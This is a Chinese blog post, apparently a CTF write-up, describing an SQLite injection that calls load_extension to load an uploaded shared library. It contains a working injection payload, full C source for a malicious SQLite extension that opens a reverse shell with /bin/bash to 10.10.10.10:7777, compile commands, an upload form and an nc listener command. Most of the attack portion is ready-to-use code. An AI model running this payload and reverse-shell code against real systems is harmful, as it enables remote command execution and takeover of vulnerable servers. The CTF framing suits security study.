CTF之SQL注入之load_extension函数

某次ctf比赛时,发现前台存在sql注入,使用的是sqlite数据库,通过报错信息,发现过滤了select、or、and、insert等关键字,但是没有禁止load_extension() 函数

于是可以通过如下方式加载动态库,如windows的dll,linux的so进行远程命令执行,方式如下:

www.abc.com?id=1'||load_extension('/home/poc.so');--

刚好目标网站有一个文件上传接口,可以自己编写动态库,然后上传上去。

从sqlite的官网上,我找到了一个例子:
在这里插入图片描述
load_extension的默认初始化函数不是c语言的main函数,而是sqlite3_extension_init函数,于是我把c语言的反弹shell 写进该函数里面:

/* Add your header comment here */
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
SQLITE_EXTENSION_INIT1

/* Insert your extension code here */
int tcp_port = 7777;
char *ip = "10.10.10.10";

#ifdef _WIN32
__declspec(dllexport)
#endif

int sqlite3_extension_init(
  sqlite3 *db, 
  char **pzErrMsg, 
  const sqlite3_api_routines *pApi
){
  int rc = SQLITE_OK;
  SQLITE_EXTENSION_INIT2(pApi);
  
  int fd;
  if ( fork() <= 0){
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(tcp_port);
    addr.sin_addr.s_addr = inet_addr(ip);

    fd = socket(AF_INET, SOCK_STREAM, 0);
    if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
            exit(0);
    }

    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);
    execve("/bin/bash", 0LL, 0LL);
}
  
  return rc;
}

然后放到ubuntu里面进行编译,编译前先安装sqlite环境:

sudo apt install libsqlite3-dev

然后编译

gcc -g -fPIC -shared YourCode.c -o YourCode.so

然后上传so文件,这里有一个坑,千万不要使用burpsuite的paste from file,否则编码会有问题,不知不觉的你以为是poc的问题,然后在那调poc调到怀疑人生。放一个我师父给我的丑陋的表单:

<script>
    function mysubmit(){
        var formData = new FormData();
        var fileSelect = document.getElementById("fileSelect");
        if(fileSelect.files && fileSelect.files.length == 1){
            var file = fileSelect.files[0];
            formData.set("file", file, file.name);
        }
        formData.set("name", file.name);
        formData.set("id", "5234j5lkj234bjk52h3452345");
        var request = new XMLHttpRequest();
        request.open("POST","http://www.baidu.com/");
        request.send(formData);
    }
</script>
<form>
    <input type="file" id="fileSelect" name ="someFile"/>
    <button type="button" οnclick="mysubmit()">submit</button>
</form>

选择文件,上传,然后在用burpsuite抓包,这个味道才最纯正。

调用load_extension函数前,启用nc监听:

nc -lvp 7777

调用,反弹成功,get flag。

再次,注意编码问题,奇坑。

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值